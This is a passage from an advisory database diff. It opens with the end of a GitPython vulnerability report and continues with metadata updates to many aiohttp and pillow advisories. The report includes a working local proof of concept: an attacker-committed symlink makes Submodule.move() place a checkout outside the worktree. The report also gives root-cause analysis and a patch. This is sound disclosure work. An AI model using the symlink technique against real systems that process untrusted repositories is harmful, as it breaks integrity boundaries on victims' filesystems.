required.\n\n## Trust boundary and preconditions\n\nThe attacker controls:\n\n- an untrusted Git repository that the application clones;\n- a mode-`120000` tracked symlink named `vendor`;\n- the initialized submodule's content.\n\nThe consuming application controls the call and uses a fixed layout rule:\n\n```python\nsubmodule.move(\"vendor/module\")\n```\n\nThe trigger requires the application to initialize the submodule and later call `Submodule.move()` with a path below the attacker-committed symlink. Ordinary clone or submodule update does not automatically make this call. Windows was not tested. The primitive applies where Git materializes the tracked entry as a real symlink; on Windows that generally requires `core.symlinks=true` with Developer Mode or sufficient privilege. Configurations that materialize it as an ordinary file do not take this path.\n\n## Product and directly verified revisions\n\n- Package: `GitPython` (`pip` ecosystem)\n- Latest release: 3.1.62, tag commit `db47516dac750c5968b8f6d388b18712c355df50`\n- Current `main`: `b62e91be897f687a622e40cd1e59c33dce45f124`\n- Relevant `git/objects/submodule/base.py` SHA-256 in both revisions: `a4355d49e0b75c7c7e74d33ac70ff9550f940c977848c99da40eb41e034b189c`\n- Upstream state rechecked: 2026-09-10 KST\n\nOnly these two revisions were directly tested.\n\n## Severity and weakness\n\nThe demonstrated impact is an integrity boundary violation: repository content selects an existing directory outside the worktree, and GitPython moves an attacker-influenced checkout into a missing or empty child path there with the victim process's permissions. It also removes the original checkout and corrupts the parent repository's index/configuration state.\n\nFor a downstream service that remotely accepts repositories and performs this exact layout operation with user involvement retained, `AV:N` gives a conditional application-level score of 7.1. A fully automatic service may warrant a different `UI` assessment. The library report uses `AV:L` because the vulnerable API call is a separate application action and is not part of GitPython's ordinary clone/update flow.\n\nNo confidentiality impact, code execution, overwrite of an existing file, or overwrite of a non-empty directory was demonstrated.\n\n## Reproducer\n\nThe following script creates only temporary local repositories and a self-generated canary. It passes `protocol.file.allow=always` separately with `-c` on each fixture Git invocation; that permission is process-scoped and is not persisted to global or repository configuration.\n\nRun it from a fresh source checkout:\n\n```bash\ngit clone --depth 1 --branch 3.1.62 https://github.com/gitpython-developers/GitPython.git\npython3 poc.py /path/to/GitPython\npython3 poc.py --absolute-link /path/to/GitPython\n```\n\n`--absolute-link` commits the temporary external directory's absolute path instead of `../outside`.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local-only reproducer for GitPython Submodule.move() symlink traversal.\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport json\nimport subprocess\nimport sys\nimport tempfile\nfrom pathlib import Path\nfrom typing import Optional\n\n\ndef run_git(\n *args: str, cwd: Optional[Path] = None, check: bool = True\n) -> subprocess.CompletedProcess:\n command = [\n \"git\",\n \"-c\",\n \"user.name=GitPython security fixture\",\n \"-c\",\n \"user.email=fixture@example.invalid\",\n \"-c\",\n \"protocol.file.allow=always\",\n *args,\n ]\n return subprocess.run(command, cwd=cwd, check=check, text=True, capture_output=True)\n\n\ndef read_core_worktree(parent) -> str:\n module_config = Path(parent.git_dir) / \"modules\" / \"logical-name\" / \"config\"\n return parent.git.config(\"--file\", str(module_config), \"--get\", \"core.worktree\")\n\n\ndef read_gitmodules_path(parent) -> str:\n modules_file = Path(parent.working_tree_dir) / \".gitmodules\"\n return parent.git.config(\n \"--file\", str(modules_file), \"--get\", \"submodule.logical-name.path\"\n )\n\n\ndef main() -> int:\n parser = argparse.ArgumentParser()\n parser.add_argument(\"source_root\", type=Path, help=\"GitPython source checkout\")\n parser.add_argument(\n \"--absolute-link\",\n action=\"store_true\",\n help=(\n \"Use the temporary external directory's absolute path as the committed \"\n \"symlink target\"\n ),\n )\n args = parser.parse_args()\n\n source_root = args.source_root.resolve()\n # The tested GitPython source trees include gitdb and smmap at their roots.\n sys.path[:0] = [\n str(source_root),\n str(source_root / \"gitdb\"),\n str(source_root / \"smmap\"),\n ]\n import gitdb # pylint: disable=import-outside-toplevel\n import smmap # pylint: disable=import-outside-toplevel\n from git import Repo # pylint: disable=import-outside-toplevel\n\n with tempfile.TemporaryDirectory(prefix=\"gitpython-move-poc-\") as temporary:\n root = Path(temporary)\n module_source = root / \"module-source\"\n attacker = root / \"attacker-parent\"\n victim = root / \"victim-parent\"\n outside = root / \"outside\"\n\n run_git(\"init\", \"--quiet\", str(module_source))\n (module_source / \"SELF_GENERATED_CANARY.txt\").write_text(\n \"SELF_GENERATED_CANARY\\n\", encoding=\"utf-8\"\n )\n run_git(\"add\", \"SELF_GENERATED_CANARY.txt\", cwd=module_source)\n run_git(\"commit\", \"--quiet\", \"-m\", \"fixture\", cwd=module_source)\n\n outside.mkdir()\n run_git(\"init\", \"--quiet\", str(attacker))\n run_git(\n \"submodule\",\n \"add\",\n \"--quiet\",\n \"--name\",\n \"logical-name\",\n str(module_source),\n \"module\",\n cwd=attacker,\n )\n link_target = str(outside.resolve()) if args.absolute_link else \"../outside\"\n (attacker / \"vendor\").symlink_to(link_target, target_is_directory=True)\n run_git(\"add\", \".gitmodules\", \"module\", \"vendor\", cwd=attacker)\n run_git(\"commit\", \"--quiet\", \"-m\", \"attacker-controlled layout\", cwd=attacker)\n\n run_git(\"clone\", \"--quiet\", str(attacker), str(victim))\n run_git(\"submodule\", \"update\", \"--init\", \"--quiet\", cwd=victim)\n\n parent = Repo(victim)\n submodule = parent.submodule(\"logical-name\")\n before = {\n \"status\": parent.git.status(\"--porcelain\"),\n \"write_tree\": parent.git.write_tree(),\n \"vendor_index\": parent.git.ls_files(\"--stage\", \"vendor\"),\n \"index_paths\": parent.git.ls_files().splitlines(),\n \"gitmodules_path\": read_gitmodules_path(parent),\n \"source_canary\": (victim / \"module\" / \"SELF_GENERATED_CANARY.txt\").exists(),\n \"external_canary\": (\n outside / \"module\" / \"SELF_GENERATED_CANARY.txt\"\n ).exists(),\n \"module_core_worktree\": read_core_worktree(parent),\n }\n\n error = None\n try:\n submodule.move(\n \"vendor/module\"\n ) # Fixed application value; attacker does not control it.\n # Capture the exact type and text so a patched rejection remains visible.\n except Exception as exception:\n error = {\"type\": type(exception).__name__, \"message\": str(exception)}\n\n write_tree = None\n write_tree_error = None\n try:\n write_tree = parent.git.write_tree()\n except Exception as exception:\n write_tree_error = {\n \"type\": type(exception).__name__,\n \"message\": str(exception),\n }\n\n result = {\n \"imported_modules\": {\n \"git\": str(Path(sys.modules[\"git\"].__file__).resolve()),\n \"gitdb\": str(Path(gitdb.__file__).resolve()),\n \"smmap\": str(Path(smmap.__file__).resolve()),\n },\n \"committed_symlink_target\": link_target,\n \"before\": before,\n \"call_error\": error,\n \"after\": {\n \"status\": parent.git.status(\"--porcelain\"),\n \"source_canary\": (\n victim / \"module\" / \"SELF_GENERATED_CANARY.txt\"\n ).exists(),\n \"external_canary\": (\n outside / \"module\" / \"SELF_GENERATED_CANARY.txt\"\n ).exists(),\n \"index_paths\": parent.git.ls_files().splitlines(),\n \"gitmodules\": (victim / \".gitmodules\").read_text(encoding=\"utf-8\"),\n \"gitmodules_path\": read_gitmodules_path(parent),\n \"submodule_path\": submodule.path,\n \"module_core_worktree\": read_core_worktree(parent),\n \"write_tree\": write_tree,\n \"write_tree_error\": write_tree_error,\n },\n }\n print(json.dumps(result, indent=2, sort_keys=True))\n parent.close()\n return 0\n\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n```\n\n## Observed result\n\nThe relative and absolute symlink variants produced the same security-relevant result on both directly tested revisions:\n\n| State | Before | After unpatched `move()` |\n| --- | --- | --- |\n| API result | not called | returns successfully |\n| Original checkout | `module/SELF_GENERATED_CANARY.txt` exists | checkout is gone |\n| External destination | `outside/module` absent | canary exists under `outside/module` |\n| Parent index | `.gitmodules`, `module`, `vendor` | `.gitmodules`, `vendor`, `vendor/module` |\n| `.gitmodules` path | `module` | `vendor/module` |\n| module `core.worktree` | `../../../module` | `../../../vendor/module` |\n| `git write-tree` | succeeds | fails |\n\nThe failure after the move is:\n\n```text\nYou have both vendor and vendor/module\nfatal: git-write-tree: error building trees\n```\n\nThe tracked attacker input is present in the clean clone before the call:\n\n```text\n120000 d09b80733baa4f6b198f2cf2d62bbfc5b6cbf1f0 0 vendor\n```\n\nWith the proposed patch, the same calls raise before mutation:\n\n```text\nValueError: Submodule checkout path 'vendor/module' contains a symbolic link\n```\n\nThe checkout, external directory, index, `.gitmodules`, and module configuration then remain unchanged, and `git write-tree` succeeds.\n\n## Root cause\n\n`Submodule._to_relative_path()` delegates to a helper that uses `abspath()`, `commonpath()`, and `relpath()` to enforce lexical containment. These operations normalize `..`, but they do not resolve or reject an existing intermediate symbolic link.\n\nThe relevant helper is `git.util._to_relative_path()`:\n\n```python\nroot_abs = osp.abspath(os.fspath(root))\npath_abs = osp.abspath(osp.join(root_abs, path_str))\ncommon_path = osp.commonpath([root_abs, path_abs])\nif common_path != root_abs:\n raise ValueError(...)\nrelative_path = to_native_path_linux(osp.relpath(path_abs, root_abs))\n```\n\n`Submodule.move()` then joins the accepted relative path to the worktree and passes it to filesystem operations, including `os.listdir()` and `os.renames()`:\n\n```python\nmodule_checkout_path = self._to_relative_path(self.repo, module_path)\n...\nmodule_checkout_abspath = join_path_native(str(self.repo.working_tree_dir), module_checkout_path)\n...\nos.renames(cur_path, module_checkout_abspath)\n```\n\nThe operating system resolves `vendor/module` through the checked-out `vendor` link at that point.\n\nGitPython already applies the intended component check to the source checkout through `Submodule.abspath`: it walks every component and rejects `os.path.islink(path)`. The destination in `move()` does not use that guard.\n\n## Suggested fix\n\nThe proposed patch below factors the existing component walk into a shared checkout-path helper and applies it to the normalized move destination before any filesystem, index, or configuration mutation. It:\n\n- normalizes the destination exactly once;\n- preserves the existing early return for a no-op move;\n- rejects symbolic links in every intermediate destination component;\n- preserves existing final-component symlink behavior;\n- leaves `Submodule.abspath`'s all-component guard intact.\n\nThe final-component exception preserves current compatibility. The existing code first uses `isfile()` and `listdir()` to classify the link target, then uses `os.remove()` to unlink an empty-directory leaf symlink before moving the checkout. Tests confirm that an empty-directory leaf link is replaced while its target remains unchanged; non-empty-directory and file targets are rejected; a dangling leaf produces `OSError` without changing repository state. Because the pre-removal `isfile()`, `exists()`, and `listdir()` calls follow the leaf link, the existing behavior retains an existence/emptiness oracle for that external target; the proof demonstrates no write through the leaf link.\n\nThe component check closes the non-racing, attacker-committed symlink case reported here. It is not a claim of protection against a concurrent same-user process replacing a checked directory after validation; descriptor-relative traversal and rename would be needed if that separate race is in scope. Because `move()` is decorated with `@unbare_repo`, `working_tree_dir` should be present; the helper nevertheless changes an impossible or malformed `None` state from the previous `str(None)` path construction to an explicit `NotADirectoryError`.\n\n## Validation\n\nThe strict clean-clone proof was run with both relative and absolute committed symlink targets:\n\n| Revision | macOS ARM64 unpatched | Linux ARM64 unpatched | macOS patched | Linux patched |\n| --- | --- | --- | --- | --- |\n| 3.1.62 | escape reproduced | escape reproduced | rejected before mutation | rejected before mutation |\n| `main` `b62e91b` | escape reproduced | escape reproduced | rejected before mutation | rejected before mutation |\n\nBoth platforms were ARM64 on the same physical Mac; Linux ran in a local LinuxKit VM image. All runs used Python 3.14.7. The Linux runs used a local image by immutable SHA-256, with networking disabled, a read-only container root and source mount, and a temporary writable `/tmp`.\n\nPinned reproducer SHA-256: `513b6f32fc44cc74bee1ca8e81e8ed3f48ae89bfdc332dd6782886bfd1d6a79c`.\n\nThe documented shallow-clone command was also executed from a new temporary directory at 3.1.62. The reproducer resolved `git`, `gitdb`, and `smmap` from that checkout (`git/__init__.py`, `gitdb/gitdb/__init__.py`, and `smmap/smmap/__init__.py`) and reproduced the same external move. In that exact checkout, `git ls-tree HEAD gitdb smmap git/ext` reports ordinary mode-`040000` trees for root `gitdb` and `smmap`, no `.gitmodules` file exists, and `git submodule status --recursive` produces no entries. No recursive submodule checkout or preinstalled GitPython dependency was used for that bootstrap check. The evidence package includes both the raw local tree transcript and the matching official GitHub tree API entries.\n\nThe revised patch also passed 12 focused tests on each revision on each platform (48 test executions total). They cover:\n\n- relative and absolute ordinary moves from an external process working directory;\n- relative and absolute no-op ordering;\n- no-op compatibility when the stored path includes an existing symlink;\n- the unchanged `Submodule.abspath` leaf-link guard;\n- relative and absolute intermediate-link rejection before rename;\n- empty-directory, non-empty-directory, file, and dangling final-component link behavior.\n\nRuff 0.16.6 lint and format checks, Python compilation, patch application, and patched-file byte comparison passed for both revisions. GitPython's complete upstream test suite and mypy were not run against the patch; the test claim is limited to the focused matrix described above.\n\nAdditional saved controls on both revisions record rejection of `../` and absolute API destinations, preservation of existing files and non-empty directories, the final-component link behavior, and `RootModule.update()` rejecting the tested commit-to-commit symlinked path before its internal move. These controls are separate from the strict 16-run proof.\n\n## Impact limits and compatibility observations\n\n- An existing destination file and an existing non-empty destination directory are preserved and rejected.\n- A missing or empty leaf below an external symlink target can be populated.\n- `../` and an absolute API destination outside the worktree are already rejected; the bypass is filesystem resolution of a lexically in-tree path.\n- `RootModule.update()` rejects the tested commit-to-commit symlinked path before its internal `move()` call, so ordinary clone/update is not an automatic trigger.\n- The proof does not require or demonstrate a local race.\n- The directly demonstrated relative target is the practical repository-relative case. The absolute variant proves target-path scope using a temporary path known to the fixture; a remote attacker would instead need a predictable absolute directory on the victim.\n- The exact affected history before 3.1.62 has not been established.\n\n## AI assistance and credit\n\nThis report was prepared with AI assistance. The working proof was executed locally against both pinned revisions on macOS and Linux, and every reported state transition was checked against saved structured output. The proposed patch and focused tests were executed independently from the vulnerable proof.\n\nRequested credit: GitHub user `dpfkdlemtp`.", + "references": [ + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-gq48-pqfc-9p58" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/pull/2232" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/commit/24b6f95d4b90ab1483fb601c736ac6e7c059cd61" + }, + { + "type": "PACKAGE", + "url": "https://github.com/gitpython-developers/GitPython" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0" + } + ] +} diff --git a/advisories/BREW-aider-CVE-2026-111063.json b/advisories/BREW-aider-CVE-2026-111063.json index 0c3fb82d6e7..3eb335ee153 100644 --- a/advisories/BREW-aider-CVE-2026-111063.json +++ b/advisories/BREW-aider-CVE-2026-111063.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-aider-CVE-2026-111063", "published": "2026-10-21T09:14:41Z", - "modified": "2026-10-21T09:14:41Z", + "modified": "2026-10-27T19:19:30Z", "upstream": [ "GHSA-494j-54xm-rwp3", "CVE-2026-111063" @@ -50,11 +50,21 @@ }, "summary": "AIOHTTP: Secure attribute not enforced for shared cookie", "details": "### Summary\n\nThe Secure attribute was not being enforced for the shared cookie.\n\n### Impact\n\nIt may be possible to send a shared cookie marked Secure through an unencrypted request.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N" + } + ], "references": [ { "type": "WEB", "url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-494j-54xm-rwp3" }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-111063" + }, { "type": "WEB", "url": "https://github.com/aio-libs/aiohttp/commit/999c356d61e966faffa97b06ab0d0455226d36c5" diff --git a/advisories/BREW-aider-CVE-2026-112390.json b/advisories/BREW-aider-CVE-2026-112390.json index bf231818b7f..17368164776 100644 --- a/advisories/BREW-aider-CVE-2026-112390.json +++ b/advisories/BREW-aider-CVE-2026-112390.json @@ -2,10 +2,11 @@ "schema_version": "1.7.3", "id": "BREW-aider-CVE-2026-112390", "published": "2026-10-22T09:13:55Z", - "modified": "2026-10-22T09:13:55Z", + "modified": "2026-10-27T19:19:30Z", "upstream": [ "GHSA-22hg-r758-rrw9", - "CVE-2026-112390" + "CVE-2026-112390", + "BIT-pillow-2026-112390" ], "affected": [ { diff --git a/advisories/BREW-aider-CVE-2026-112391.json b/advisories/BREW-aider-CVE-2026-112391.json index 6d7d424b4c7..d02963d1f42 100644 --- a/advisories/BREW-aider-CVE-2026-112391.json +++ b/advisories/BREW-aider-CVE-2026-112391.json @@ -2,10 +2,11 @@ "schema_version": "1.7.3", "id": "BREW-aider-CVE-2026-112391", "published": "2026-10-22T09:13:55Z", - "modified": "2026-10-22T09:13:55Z", + "modified": "2026-10-27T19:19:30Z", "upstream": [ "GHSA-254f-3936-288h", - "CVE-2026-112391" + "CVE-2026-112391", + "BIT-pillow-2026-112391" ], "affected": [ { diff --git a/advisories/BREW-aider-CVE-2026-112392.json b/advisories/BREW-aider-CVE-2026-112392.json index 30d5c6f20f7..90cfd02e317 100644 --- a/advisories/BREW-aider-CVE-2026-112392.json +++ b/advisories/BREW-aider-CVE-2026-112392.json @@ -2,10 +2,12 @@ "schema_version": "1.7.3", "id": "BREW-aider-CVE-2026-112392", "published": "2026-10-22T09:13:55Z", - "modified": "2026-10-22T09:13:55Z", + "modified": "2026-10-27T19:19:30Z", "upstream": [ "GHSA-27h8-gf7j-v5hc", - "CVE-2026-112392" + "CVE-2026-112392", + "BIT-pillow-2026-112392", + "PYSEC-2026-4326" ], "affected": [ { diff --git a/advisories/BREW-aider-CVE-2026-112393.json b/advisories/BREW-aider-CVE-2026-112393.json index e4630947c10..1d76958a4a2 100644 --- a/advisories/BREW-aider-CVE-2026-112393.json +++ b/advisories/BREW-aider-CVE-2026-112393.json @@ -2,10 +2,11 @@ "schema_version": "1.7.3", "id": "BREW-aider-CVE-2026-112393", "published": "2026-10-22T09:13:55Z", - "modified": "2026-10-22T09:13:55Z", + "modified": "2026-10-27T19:19:30Z", "upstream": [ "GHSA-332p-7hrc-92wf", - "CVE-2026-112393" + "CVE-2026-112393", + "BIT-pillow-2026-112393" ], "affected": [ { diff --git a/advisories/BREW-aider-CVE-2026-112394.json b/advisories/BREW-aider-CVE-2026-112394.json index 8d8f2a3f578..b15565ad5d3 100644 --- a/advisories/BREW-aider-CVE-2026-112394.json +++ b/advisories/BREW-aider-CVE-2026-112394.json @@ -2,10 +2,12 @@ "schema_version": "1.7.3", "id": "BREW-aider-CVE-2026-112394", "published": "2026-10-22T09:13:55Z", - "modified": "2026-10-22T09:13:55Z", + "modified": "2026-10-27T19:19:30Z", "upstream": [ "GHSA-4558-3h8r-v8xp", - "CVE-2026-112394" + "CVE-2026-112394", + "BIT-pillow-2026-112394", + "PYSEC-2026-4327" ], "affected": [ { diff --git a/advisories/BREW-aider-CVE-2026-112395.json b/advisories/BREW-aider-CVE-2026-112395.json index e5f85066d02..58d61629410 100644 --- a/advisories/BREW-aider-CVE-2026-112395.json +++ b/advisories/BREW-aider-CVE-2026-112395.json @@ -2,10 +2,11 @@ "schema_version": "1.7.3", "id": "BREW-aider-CVE-2026-112395", "published": "2026-10-21T09:14:41Z", - "modified": "2026-10-21T09:14:41Z", + "modified": "2026-10-27T19:19:30Z", "upstream": [ "GHSA-462x-pgg6-55fp", - "CVE-2026-112395" + "CVE-2026-112395", + "BIT-pillow-2026-112395" ], "affected": [ { diff --git a/advisories/BREW-aider-CVE-2026-112396.json b/advisories/BREW-aider-CVE-2026-112396.json index 65c8880f4ac..2d20264f5b3 100644 --- a/advisories/BREW-aider-CVE-2026-112396.json +++ b/advisories/BREW-aider-CVE-2026-112396.json @@ -2,10 +2,12 @@ "schema_version": "1.7.3", "id": "BREW-aider-CVE-2026-112396", "published": "2026-10-22T09:13:55Z", - "modified": "2026-10-22T09:13:55Z", + "modified": "2026-10-27T19:19:30Z", "upstream": [ "GHSA-4rr5-89j8-mwwm", - "CVE-2026-112396" + "CVE-2026-112396", + "BIT-pillow-2026-112396", + "PYSEC-2026-4328" ], "affected": [ { diff --git a/advisories/BREW-aider-CVE-2026-112397.json b/advisories/BREW-aider-CVE-2026-112397.json index cc1ad6fdd7e..52f42002bfa 100644 --- a/advisories/BREW-aider-CVE-2026-112397.json +++ b/advisories/BREW-aider-CVE-2026-112397.json @@ -2,10 +2,11 @@ "schema_version": "1.7.3", "id": "BREW-aider-CVE-2026-112397", "published": "2026-10-21T09:14:41Z", - "modified": "2026-10-21T09:14:41Z", + "modified": "2026-10-27T19:19:30Z", "upstream": [ "GHSA-58r4-6rv3-gfh8", - "CVE-2026-112397" + "CVE-2026-112397", + "BIT-pillow-2026-112397" ], "affected": [ { diff --git a/advisories/BREW-aider-CVE-2026-112399.json b/advisories/BREW-aider-CVE-2026-112399.json index 1f9b8a46b03..fd413f89b53 100644 --- a/advisories/BREW-aider-CVE-2026-112399.json +++ b/advisories/BREW-aider-CVE-2026-112399.json @@ -2,10 +2,11 @@ "schema_version": "1.7.3", "id": "BREW-aider-CVE-2026-112399", "published": "2026-10-22T09:13:55Z", - "modified": "2026-10-22T09:13:55Z", + "modified": "2026-10-27T19:19:30Z", "upstream": [ "GHSA-5xm2-6676-qcp9", - "CVE-2026-112399" + "CVE-2026-112399", + "BIT-pillow-2026-112399" ], "affected": [ { diff --git a/advisories/BREW-aider-CVE-2026-112400.json b/advisories/BREW-aider-CVE-2026-112400.json index 04a7f286791..ec0204e1c73 100644 --- a/advisories/BREW-aider-CVE-2026-112400.json +++ b/advisories/BREW-aider-CVE-2026-112400.json @@ -2,10 +2,11 @@ "schema_version": "1.7.3", "id": "BREW-aider-CVE-2026-112400", "published": "2026-10-21T09:14:41Z", - "modified": "2026-10-21T09:14:41Z", + "modified": "2026-10-27T19:19:30Z", "upstream": [ "GHSA-65qm-jvmh-6pqg", - "CVE-2026-112400" + "CVE-2026-112400", + "BIT-pillow-2026-112400" ], "affected": [ { diff --git a/advisories/BREW-aider-CVE-2026-112401.json b/advisories/BREW-aider-CVE-2026-112401.json index 138ae2bafd8..c154d29c8e4 100644 --- a/advisories/BREW-aider-CVE-2026-112401.json +++ b/advisories/BREW-aider-CVE-2026-112401.json @@ -2,10 +2,11 @@ "schema_version": "1.7.3", "id": "BREW-aider-CVE-2026-112401", "published": "2026-10-22T09:13:55Z", - "modified": "2026-10-22T09:13:55Z", + "modified": "2026-10-27T19:19:30Z", "upstream": [ "GHSA-74r2-7ff9-mjj2", - "CVE-2026-112401" + "CVE-2026-112401", + "BIT-pillow-2026-112401" ], "affected": [ { diff --git a/advisories/BREW-aider-CVE-2026-112402.json b/advisories/BREW-aider-CVE-2026-112402.json index 4ddd900eaca..880458bd2f5 100644 --- a/advisories/BREW-aider-CVE-2026-112402.json +++ b/advisories/BREW-aider-CVE-2026-112402.json @@ -2,10 +2,11 @@ "schema_version": "1.7.3", "id": "BREW-aider-CVE-2026-112402", "published": "2026-10-22T09:13:55Z", - "modified": "2026-10-22T09:13:55Z", + "modified": "2026-10-27T19:19:30Z", "upstream": [ "GHSA-7mwm-ghpf-9vrm", - "CVE-2026-112402" + "CVE-2026-112402", + "BIT-pillow-2026-112402" ], "affected": [ { diff --git a/advisories/BREW-aider-CVE-2026-112403.json b/advisories/BREW-aider-CVE-2026-112403.json index 9c080cdf996..21bfc4a823b 100644 --- a/advisories/BREW-aider-CVE-2026-112403.json +++ b/advisories/BREW-aider-CVE-2026-112403.json @@ -2,10 +2,11 @@ "schema_version": "1.7.3", "id": "BREW-aider-CVE-2026-112403", "published": "2026-10-21T09:14:41Z", - "modified": "2026-10-21T09:14:41Z", + "modified": "2026-10-27T19:19:30Z", "upstream": [ "GHSA-8g5g-8vmr-9782", - "CVE-2026-112403" + "CVE-2026-112403", + "BIT-pillow-2026-112403" ], "affected": [ { diff --git a/advisories/BREW-aider-CVE-2026-112404.json b/advisories/BREW-aider-CVE-2026-112404.json index 2328aa0e025..b5f2a6a5566 100644 --- a/advisories/BREW-aider-CVE-2026-112404.json +++ b/advisories/BREW-aider-CVE-2026-112404.json @@ -2,10 +2,11 @@ "schema_version": "1.7.3", "id": "BREW-aider-CVE-2026-112404", "published": "2026-10-21T09:14:41Z", - "modified": "2026-10-21T09:14:41Z", + "modified": "2026-10-27T19:19:30Z", "upstream": [ "GHSA-c6hw-5grf-ff96", - "CVE-2026-112404" + "CVE-2026-112404", + "BIT-pillow-2026-112404" ], "affected": [ { diff --git a/advisories/BREW-aider-CVE-2026-112405.json b/advisories/BREW-aider-CVE-2026-112405.json index 20b8594a574..4f214b168ec 100644 --- a/advisories/BREW-aider-CVE-2026-112405.json +++ b/advisories/BREW-aider-CVE-2026-112405.json @@ -2,10 +2,11 @@ "schema_version": "1.7.3", "id": "BREW-aider-CVE-2026-112405", "published": "2026-10-22T09:13:55Z", - "modified": "2026-10-22T09:13:55Z", + "modified": "2026-10-27T19:19:30Z", "upstream": [ "GHSA-cp9v-662q-vvx9", - "CVE-2026-112405" + "CVE-2026-112405", + "BIT-pillow-2026-112405" ], "affected": [ { diff --git a/advisories/BREW-aider-CVE-2026-112406.json b/advisories/BREW-aider-CVE-2026-112406.json index e523c9fcf11..25f5ba2659d 100644 --- a/advisories/BREW-aider-CVE-2026-112406.json +++ b/advisories/BREW-aider-CVE-2026-112406.json @@ -2,10 +2,11 @@ "schema_version": "1.7.3", "id": "BREW-aider-CVE-2026-112406", "published": "2026-10-22T09:13:55Z", - "modified": "2026-10-22T09:13:55Z", + "modified": "2026-10-27T19:19:30Z", "upstream": [ "GHSA-f2g6-542v-9j58", - "CVE-2026-112406" + "CVE-2026-112406", + "BIT-pillow-2026-112406" ], "affected": [ { diff --git a/advisories/BREW-aider-CVE-2026-112891.json b/advisories/BREW-aider-CVE-2026-112891.json index a0867f8ce65..9069fd808aa 100644 --- a/advisories/BREW-aider-CVE-2026-112891.json +++ b/advisories/BREW-aider-CVE-2026-112891.json @@ -2,10 +2,11 @@ "schema_version": "1.7.3", "id": "BREW-aider-CVE-2026-112891", "published": "2026-10-22T09:13:55Z", - "modified": "2026-10-22T09:13:55Z", + "modified": "2026-10-27T19:19:30Z", "upstream": [ "GHSA-fc9g-5qg7-mf45", - "CVE-2026-112891" + "CVE-2026-112891", + "BIT-pillow-2026-112891" ], "affected": [ { diff --git a/advisories/BREW-aider-CVE-2026-112892.json b/advisories/BREW-aider-CVE-2026-112892.json index 337c2ff822b..6d0f1add298 100644 --- a/advisories/BREW-aider-CVE-2026-112892.json +++ b/advisories/BREW-aider-CVE-2026-112892.json @@ -2,10 +2,11 @@ "schema_version": "1.7.3", "id": "BREW-aider-CVE-2026-112892", "published": "2026-10-22T09:13:55Z", - "modified": "2026-10-22T09:13:55Z", + "modified": "2026-10-27T19:19:30Z", "upstream": [ "GHSA-gg2r-wvfm-q9rx", - "CVE-2026-112892" + "CVE-2026-112892", + "BIT-pillow-2026-112892" ], "affected": [ { diff --git a/advisories/BREW-aider-CVE-2026-112893.json b/advisories/BREW-aider-CVE-2026-112893.json index ff9571deb69..90b7d39d5f4 100644 --- a/advisories/BREW-aider-CVE-2026-112893.json +++ b/advisories/BREW-aider-CVE-2026-112893.json @@ -2,10 +2,11 @@ "schema_version": "1.7.3", "id": "BREW-aider-CVE-2026-112893", "published": "2026-10-22T09:13:55Z", - "modified": "2026-10-22T09:13:55Z", + "modified": "2026-10-27T19:19:30Z", "upstream": [ "GHSA-j4m9-6w36-pw47", - "CVE-2026-112893" + "CVE-2026-112893", + "BIT-pillow-2026-112893" ], "affected": [ { diff --git a/advisories/BREW-aider-CVE-2026-112894.json b/advisories/BREW-aider-CVE-2026-112894.json index 1403f517c4a..ed6613874e7 100644 --- a/advisories/BREW-aider-CVE-2026-112894.json +++ b/advisories/BREW-aider-CVE-2026-112894.json @@ -2,10 +2,11 @@ "schema_version": "1.7.3", "id": "BREW-aider-CVE-2026-112894", "published": "2026-10-22T09:13:55Z", - "modified": "2026-10-22T09:13:55Z", + "modified": "2026-10-27T19:19:30Z", "upstream": [ "GHSA-jg86-v3jv-hrpm", - "CVE-2026-112894" + "CVE-2026-112894", + "BIT-pillow-2026-112894" ], "affected": [ { diff --git a/advisories/BREW-aider-CVE-2026-112895.json b/advisories/BREW-aider-CVE-2026-112895.json index a04f62b72b0..9d45eb4dd25 100644 --- a/advisories/BREW-aider-CVE-2026-112895.json +++ b/advisories/BREW-aider-CVE-2026-112895.json @@ -2,10 +2,11 @@ "schema_version": "1.7.3", "id": "BREW-aider-CVE-2026-112895", "published": "2026-10-21T09:14:41Z", - "modified": "2026-10-21T09:14:41Z", + "modified": "2026-10-27T19:19:30Z", "upstream": [ "GHSA-p4wg-p73j-c528", - "CVE-2026-112895" + "CVE-2026-112895", + "BIT-pillow-2026-112895" ], "affected": [ { diff --git a/advisories/BREW-aider-CVE-2026-112896.json b/advisories/BREW-aider-CVE-2026-112896.json index 50ad1e524a2..e05601615c4 100644 --- a/advisories/BREW-aider-CVE-2026-112896.json +++ b/advisories/BREW-aider-CVE-2026-112896.json @@ -2,10 +2,11 @@ "schema_version": "1.7.3", "id": "BREW-aider-CVE-2026-112896", "published": "2026-10-21T09:14:41Z", - "modified": "2026-10-21T09:14:41Z", + "modified": "2026-10-27T19:19:30Z", "upstream": [ "GHSA-pchr-8j38-3x4p", - "CVE-2026-112896" + "CVE-2026-112896", + "BIT-pillow-2026-112896" ], "affected": [ { diff --git a/advisories/BREW-aider-CVE-2026-112897.json b/advisories/BREW-aider-CVE-2026-112897.json index 58ba5110e1b..e163e3dd75f 100644 --- a/advisories/BREW-aider-CVE-2026-112897.json +++ b/advisories/BREW-aider-CVE-2026-112897.json @@ -2,10 +2,11 @@ "schema_version": "1.7.3", "id": "BREW-aider-CVE-2026-112897", "published": "2026-10-21T09:14:41Z", - "modified": "2026-10-21T09:14:41Z", + "modified": "2026-10-27T19:19:30Z", "upstream": [ "GHSA-q45j-58j2-45rg", - "CVE-2026-112897" + "CVE-2026-112897", + "BIT-pillow-2026-112897" ], "affected": [ { diff --git a/advisories/BREW-aider-CVE-2026-112898.json b/advisories/BREW-aider-CVE-2026-112898.json index 31e58b760b8..65ce9647c16 100644 --- a/advisories/BREW-aider-CVE-2026-112898.json +++ 